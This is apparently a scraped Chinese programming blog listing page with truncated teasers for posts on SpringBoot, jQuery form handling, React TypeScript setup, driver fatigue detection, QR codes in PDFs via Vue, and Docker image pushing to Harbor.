&#x1f9f8;欢迎来到dream_ready的博客&#xff0c;&#x1f4dc;相信你对这篇博客也感兴趣o (ˉ▽ˉ&#xff1b;) &#x1f4dc;表白墙/留言墙 —— 中级SpringBoot项目&#xff0c;MyBatis技术栈MySQL数据库开发&#xff0c;练手项目前后端开发(带完整源码) 全方位全步骤手…...

js/jQuery 的一些常用操作(js/jQuery获取表单元素值 以及 清空元素值的各种实现方式)——附测试例子,拿来即能实现效果

js/jQuery 的一些常用操作&#xff08;js/jQuery获取表单元素值 以及 清空元素值的各种实现方式&#xff09;——附测试例子&#xff0c;拿来即能实现效果 1. 前言2. 获取表单元素的值2.1 简单获取元素中的值2.1.1 根据 id 简单取值2.2.2 根据name 简单取值2.1.3 获取单选按钮的…...

h5(react ts 适配)

一、新建项目并放在码云托管 1、新建项目&#xff1a;react ts h5 考虑到这些 用 create-react-app 脚手架来搭建项目。 首先&#xff0c;确保你已经安装了 Node.js。如果没有安装&#xff0c;请先从官方网站 https://nodejs.org/ 下载并安装 Node.js。打开命令行工具&#x…...

计算机视觉:驾驶员疲劳检测

目录 前言 关键点讲解 代码详解 结果展示 改进方向&#xff08;打哈欠检测疲劳方法&#xff09; 改进方向&#xff08;点头检测疲劳&#xff09; GUI界面设计展示 前言 上次博客我们讲到了如何定位人脸&#xff0c;并且在人脸上进行关键点定位。其中包括5点定位和68点定…...

Vue向pdf文件中添加二维码

&#x1f680; 场景一&#xff1a;利用vue向pdf文件中写入二维码图片或其他图片 &#x1f680; 场景二&#xff1a;向pdf中添加水印 思路&#xff1a; 1、先通过url链接生成二维码&#xff0c;二维码存在于dom中 2、使用html2canvas库将二维码的dom转为一个canvas对象 3、根据c…...

idea一键打包docker镜像并推送远程harbor仓库的方法(包含spotify和fabric8两种方法)--全网唯一正确,秒杀99%水文

我看了很多关于idea一键打包docker镜像并推送harbor仓库的文章&#xff0c;不论国内国外的&#xff0c;基本上99%都是瞎写的&#xff0c; 这些人不清楚打包插件原理&#xff0c;然后就是复制粘贴一大篇&#xff0c;写了一堆垃圾&#xff0c;然后别人拿来也不能用。 然后这篇文…...